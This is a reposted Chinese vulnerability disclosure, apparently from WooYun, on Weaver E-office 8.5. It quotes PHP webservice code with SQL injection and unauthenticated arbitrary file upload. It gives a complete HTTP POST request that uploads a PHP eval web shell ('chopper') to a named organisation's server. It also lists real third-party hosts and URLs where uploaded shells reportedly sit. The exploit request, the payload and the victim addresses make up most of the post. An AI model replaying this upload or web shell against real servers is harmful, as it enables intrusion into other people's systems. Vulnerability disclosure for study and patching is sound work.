IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    泛微E-office 3处sql注射(ROOT SHELL)/2处任意文件上传

    没穿底裤发表于 2015-10-09 13:49:24
    love 0

    漏洞作者: menmen519

    详细说明:

    看了wooyun个大牛发的这个产品的漏洞,感觉版本都过低,这里我发一个8.5的版本,里面新增了webservice的相关操作 下来看代码

    经过一阵子的翻阅,发现和webservice 并行的目录也存在越权行为,代码结构类似:

    08010735a68e277f00f894437794434a352c58ba[1]

    第一个目录

    webservice-json/login/login.wsdl.php:

    function UserLogin( $UserName, $Password )
    
    {
    
    				$loginStatus = array( );
    
    				if ( trim( $UserName ) == "" )
    
    				{
    
    								$loginStatus['status'] = "false";
    
    								$loginStatus['infor'] = "用户名为空";
    
    								return $loginStatus;
    
    				}
    
    				$user = new user( );
    
    				if ( $user->CheckUserAccount( $UserName ) == false )
    
    				{
    
    								$loginStatus['status'] = "false";
    
    								$loginStatus['infor'] = "用户名不存在";
    
    								return $loginStatus;
    
    				}
    
    				$userID = $user->getUserIDByUserAccount( $UserName );
    
    				if ( $user->checkOldPassword( $userID, $Password ) == false )
    
    				{
    
    								$loginStatus['status'] = "false";
    
    								$loginStatus['infor'] = "密码错误";
    
    								return $loginStatus;
    
    				}
    
    				global $connection;
    
    				$query = "SELECT * from USER where USER_ACCOUNTS='{$UserName}'";
    
    				$cursor = exequery( $connection, $query );
    
    				$ROW = mysql_fetch_array( $cursor );
    
    				$timenow = time( );
    
    				$CUR_TIME = date( "Y-m-d H:i:s", $timenow );
    
    				$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$ROW['USER_ID']."'";
    
    				exequery( $connection, $query );
    
    				session_start( );
    
    				$_SESSION['LOGIN_USER_ID'] = $ROW['USER_ID'];
    
    				$_SESSION['LOGIN_PASSWORD'] = $ROW['PASSWORD'];
    
    				$_SESSION['LOGIN_POST_PRIV'] = $ROW['POST_PRIV'];
    
    				$_SESSION['LOGIN_USER_ACCOUNTS'] = $ROW['USER_ACCOUNTS'];
    
    				$_SESSION['LOGIN_USER_NAME'] = $ROW['USER_NAME'];
    
    				$_SESSION['LOGIN_USER_PRIV'] = $ROW['USER_PRIV'];
    
    				$_SESSION['LOGIN_DEPT_ID'] = $ROW['DEPT_ID'];
    
    				$loginStatus['status'] = "true";
    
    				$loginStatus['infor'] = $ROW['USER_ID'];
    
    				$loginStatus['session_key'] = session_id( );
    
    				return $loginStatus;
    
    }
    
    
    
    function UserIDLogin( $UserId )
    
    {
    
    				global $connection;
    
    				$infor = array( );
    
    				$sql = "SELECT COUNT(*) FROM USER WHERE USER_ID='".$UserId."'";
    
    				$cursor = exequery( $connection, $sql );
    
    				if ( $ROW = mysql_fetch_array( $cursor ) )
    
    				{
    
    								$count = $ROW[0];
    
    				}
    
    				if ( 0 < $count )
    
    				{
    
    								$timenow = time( );
    
    								$CUR_TIME = date( "Y-m-d H:i:s", $timenow );
    
    								$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$UserId."'";
    
    								exequery( $connection, $query );
    
    								session_start( );
    
    								$infor['session_key'] = session_id( );
    
    								$infor['status'] = "true";
    
    				}
    
    				else
    
    				{
    
    								$infor['status'] = "false";
    
    								$infor['session_key'] = "";
    
    				}
    
    				return $infor;
    
    }
    
    
    
    function GetCurrentInformation( $UserId )
    
    {
    
    				global $connection;
    
    				$infor = array( );
    
    				if ( $UserId != "" )
    
    				{
    
    								global $connection;
    
    								$user = new user( );
    
    								$sql = "SELECT * FROM USER WHERE USER_ID='".$UserId."'";
    
    								$result = exequery( $connection, $sql );
    
    								if ( $row = mysql_fetch_assoc( $result ) )
    
    								{
    
    												$infor = $row;
    
    												$priv = $row['USER_PRIV']( $row['USER_PRIV'] );
    
    												$infor['priv_name'] = $priv['PRIV_NAME'];
    
    												$dept = $row['DEPT_ID']( $row['DEPT_ID'] );
    
    												$infor['dept_name'] = $dept['DEPT_NAME'];
    
    												$infor['check'] = "true";
    
    												if ( $row['USER_STATUS'] == "1" )
    
    												{
    
    																$infor['status'] = "在职";
    
    												}
    
    												else
    
    												{
    
    																if ( $row['USER_STATUS'] == "2" )
    
    																{
    
    																				$infor['status'] = "离职";
    
    																}
    
    												}
    
    								}
    
    				}
    
    				else
    
    				{
    
    								$infor['check'] = "false";
    
    				}
    
    				return json_encode( $infor );
    
    }
    
    
    
    include_once( "nusoap/lib/nusoap.php" );
    
    include_once( "api/user.class.php" );
    
    include_once( "inc/conn.php" );
    
    $server = new soap_server( );
    
    $server->soap_defencoding = "UTF-8";
    
    $server->decode_utf8 = false;
    
    $server->configureWSDL( "LoginServicewsdl", "urn:LoginServicewsdl" );
    
    $server->wsdl->schemaTargetNamespace = "urn:LoginServicewsdl";
    
    $server->wsdl->addComplexType( "loginStatus", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "infor" => array( "name" => "infor", "type" => "xsd:string" ), "session_key" => array( "name" => "session_key", "type" => "xsd:string" ) ) );
    
    $server->register( "UserLogin", array( "UserName" => "xsd:string", "Password" => "xsd:string" ), array( "return" => "tns:loginStatus" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserLogin", "rpc", "encoded", "UserLogin" );
    
    $server->wsdl->addComplexType( "IDcheck", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "session_key" => array( "name" => "session_key", "type" => "xsd:string" ) ) );
    
    $server->register( "UserIDLogin", array( "UserId" => "xsd:string" ), array( "return" => "tns:IDcheck" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserIDLogin", "rpc", "encoded", "UserIDLogin" );
    
    $server->register( "GetCurrentInformation", array( "UserId" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#GetCurrentInformation", "rpc", "encoded", "GetCurrentInformation" );
    
    $server->service( $HTTP_RAW_POST_DATA );
    
    ?>

     

    代码结构,风格都一样,漏洞请参照

    http://www.wooyun.org/bugs/wooyun-2015-0125281/trace/288315217e38c991a819ae7415cd1926

    webservice-json/upload/upload.php:

    include_once( "inc/utility_all.php" );
    
    $pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
    
    $extension = $pathInfor['extension'];
    
    $role = UPLOADROLE;
    
    $pos = $extension ? strpos( $role, strtoupper( $extension ) ) : false;
    
    if ( !( $pos === false ) )
    
    {
    
    				echo "false";
    
    }
    
    else
    
    {
    
    				$attachmentID = createfiledir( );
    
    				global $ATTACH_PATH;
    
    				$path = $ATTACH_PATH.$attachmentID;
    
    				if ( !file_exists( $path ) )
    
    				{
    
    								mkdir( $path, 448 );
    
    				}
    
    				$attachmentName = $_FILES['file']['tmp_name'];
    
    				$fileName = $path."/".$_FILES['file']['name'];
    
    				$fileName = iconv( "UTF-8", "GBK", $fileName );
    
    				move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );
    
    				if ( !file_exists( $fileName ) )
    
    				{
    
    								echo "false";
    
    				}
    
    				else
    
    				{
    
    								echo $attachmentID."*".$_FILES['file']['name'];
    
    				}
    
    }
    
    ?>

     

    漏洞参照:

    http://www.wooyun.org/bugs/wooyun-2015-0125265/trace/efd66a6faa58a6bf64582d7de9f26b1b

    同理:

    webservice-xml/login/login.wsdl.php

    webservice-xml/upload/upload.php

    内容一样 原理同上

    这里证明一下这些文件在最新的e-office 存在即可

    http://oa.sccm.cn/webservice-xml/login/login.wsdl.php

    http://oa.vma.cn/webservice-xml/login/login.wsdl.php

    http://eoffice.sccm.cn/webservice-xml/login/login.wsdl.php

    http://eoffice8.weaver.cn:8028/webservice-xml/login/login.wsdl.php

    http://oa.sccm.cn/webservice-xml/upload/upload.php

    http://oa.vma.cn/webservice-xml/upload/upload.php

    http://eoffice.sccm.cn/webservice-xml/upload/upload.php

    http://eoffice8.weaver.cn:8028/webservice-xml/upload/upload.php

    http://oa.sccm.cn/webservice-json/upload/upload.php

    http://oa.vma.cn/webservice-json/upload/upload.php

    http://eoffice.sccm.cn/webservice-json/upload/upload.php

    http://eoffice8.weaver.cn:8028/webservice-json/upload/upload.php

    看了wooyun个大牛发的这个产品的漏洞,感觉版本都过低,这里我发一个8.5的版本,里面新增了webservice的相关操作 下来看代码

    webservice/login/login.wsdl.php?wsdl:

    function UserLogin( $UserName, $Password )
    
    {
    
    				$loginStatus = array( );
    
    				if ( trim( $UserName ) == "" )
    
    				{
    
    								$loginStatus['status'] = "false";
    
    								$loginStatus['infor'] = "用户名为空";
    
    								return $loginStatus;
    
    				}
    
    				$user = new user( );
    
    				if ( $user->CheckUserAccount( $UserName ) == false )
    
    				{
    
    								$loginStatus['status'] = "false";
    
    								$loginStatus['infor'] = "用户名不存在";
    
    								return $loginStatus;
    
    				}
    
    				$userID = $user->getUserIDByUserAccount( $UserName );
    
    				if ( $user->checkOldPassword( $userID, $Password ) == false )
    
    				{
    
    								$loginStatus['status'] = "false";
    
    								$loginStatus['infor'] = "密码错误";
    
    								return $loginStatus;
    
    				}
    
    				global $connection;
    
    				$query = "SELECT * from USER where USER_ACCOUNTS='{$UserName}'";
    
    				$cursor = exequery( $connection, $query );
    
    				$ROW = mysql_fetch_array( $cursor );
    
    				$timenow = time( );
    
    				$CUR_TIME = date( "Y-m-d H:i:s", $timenow );
    
    				$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$ROW['USER_ID']."'";
    
    				exequery( $connection, $query );
    
    				session_start( );
    
    				$_SESSION['LOGIN_USER_ID'] = $ROW['USER_ID'];
    
    				$_SESSION['LOGIN_PASSWORD'] = $ROW['PASSWORD'];
    
    				$_SESSION['LOGIN_POST_PRIV'] = $ROW['POST_PRIV'];
    
    				$_SESSION['LOGIN_USER_ACCOUNTS'] = $ROW['USER_ACCOUNTS'];
    
    				$_SESSION['LOGIN_USER_NAME'] = $ROW['USER_NAME'];
    
    				$_SESSION['LOGIN_USER_PRIV'] = $ROW['USER_PRIV'];
    
    				$_SESSION['LOGIN_DEPT_ID'] = $ROW['DEPT_ID'];
    
    				$loginStatus['status'] = "true";
    
    				$loginStatus['infor'] = $ROW['USER_ID'];
    
    				return $loginStatus;
    
    }
    
    
    
    include_once( "nusoap/lib/nusoap.php" );
    
    include_once( "api/user.class.php" );
    
    include_once( "inc/conn.php" );
    
    $server = new soap_server( );
    
    $server->soap_defencoding = "UTF-8";
    
    $server->decode_utf8 = false;
    
    $server->configureWSDL( "LoginServicewsdl", "urn:LoginServicewsdl" );
    
    $server->wsdl->schemaTargetNamespace = "urn:LoginServicewsdl";
    
    $server->wsdl->addComplexType( "loginStatus", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "infor" => array( "name" => "infor", "type" => "xsd:string" ) ) );
    
    $server->register( "UserLogin", array( "UserName" => "xsd:string", "Password" => "xsd:string" ), array( "return" => "tns:loginStatus" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserLogin", "rpc", "encoded", "UserLogin" );
    
    $server->service( $HTTP_RAW_POST_DATA );
    
    ?>

     

    http://eoffice.sccm.cn/webservice/login/login.wsdl.php?wsdl

    这个文件也没有进行任何auth验证:

    080055109c9dbe314d98e218b440f9c9797b1a83[1]

    我们访问:

    http://eoffice.sccm.cn/attachment/1.php

    原理都相同,不多赘述

    http://oa.sccm.cn//webservice/eoffice.wsdl.php?wsdl

    http://oa.vma.cn/webservice/eoffice.wsdl.php?wsdl

    http://eoffice.sccm.cn/webservice/eoffice.wsdl.php?wsdl

    http://eoffice8.weaver.cn:8028/webservice/eoffice.wsdl.php?wsdl

    任意文件上传:

    下来看代码:

    webservice/upload.php

    include_once( "inc/utility_all.php" );
    
    $pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
    
    $extension = $pathInfor['extension'];
    
    $role = UPLOADROLE;
    
    $attachmentID = createfiledir( );
    
    global $ATTACH_PATH;
    
    $path = $ATTACH_PATH.$attachmentID;
    
    if ( !file_exists( $path ) )
    
    {
    
    				mkdir( $path, 448 );
    
    }
    
    $attachmentName = $_FILES['file']['tmp_name'];
    
    $fileName = $path."/".$_FILES['file']['name'];
    
    $fileName = iconv( "UTF-8", "GBK", $fileName );
    
    move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );
    
    if ( !file_exists( $fileName ) )
    
    {
    
    				echo "false";
    
    }
    
    else
    
    {
    
    				echo $attachmentID."*".$_FILES['file']['name'];
    
    }

     

    文件上传条件:

    1.无需登录

    2.文件的路径为attachment/$attachmentID 这里的$attachmentID 会被回显过来

    3.无需后缀验证

    发送如下请求:

    POST /webservice/upload.php HTTP/1.1
    
    Host: eoffice.sccm.cn
    
    User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
    
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    
    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
    
    Accept-Encoding: gzip, deflate
    
    Connection: keep-alive
    
    Content-Type: multipart/form-data; boundary=---------------------------74141544123431
    
    Content-Length: 818
    
    
    
    -----------------------------74141544123431
    
    Content-Disposition: form-data; name="file"; filename="1.php"
    
    Content-Type: image/jpeg
    
    
    
    <?php phpinfo();@eval($_POST['chopper']);?>
    
    -----------------------------74141544123431--

     

    072259398424633bd1d272d1d8c9a2ed9c47a62e[1]

    shell

    07230008dfaddf8957cf54cea05ef6cbbf9b170f[1]

    案例:

    http://oa.sccm.cn/

    http://oa.vma.cn/attachment/2754969047/wooyun.php

    http://eoffice.sccm.cn/attachment/2070630318/wooyun.php

    eoffice8.weaver.cn:8028/attachment/1002074664/wooyun.php

    其中最后一个官网设置了目录访问权限,所以不能访问那个文件但是文件已经上传上去了,这种情况,如果有特殊说明,必须告知用户,否则后果很严重

    第二处:

    webservice/upload/upload.php:

    include_once( "inc/utility_all.php" );
    
    $pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
    
    $extension = $pathInfor['extension'];
    
    $role = UPLOADROLE;
    
    $pos = $extension ? strpos( $role, strtoupper( $extension ) ) : false;
    
    if ( !( $pos === false ) )
    
    {
    
    				echo "false";
    
    }
    
    else
    
    {
    
    				$attachmentID = createfiledir( );
    
    				global $ATTACH_PATH;
    
    				$path = $ATTACH_PATH.$attachmentID;
    
    				if ( !file_exists( $path ) )
    
    				{
    
    								mkdir( $path, 448 );
    
    				}
    
    				$attachmentName = $_FILES['file']['tmp_name'];
    
    				$fileName = $path."/".$_FILES['file']['name'];
    
    				$fileName = iconv( "UTF-8", "GBK", $fileName );
    
    				move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );
    
    				if ( !file_exists( $fileName ) )
    
    				{
    
    								echo "false";
    
    				}
    
    				else
    
    				{
    
    								echo $attachmentID."*".$_FILES['file']['name'];
    
    				}
    
    }
    
    ?>

     

    代码很相似,绕一下逻辑即可,原理就不用解释了



沪ICP备19023445号-2号
友情链接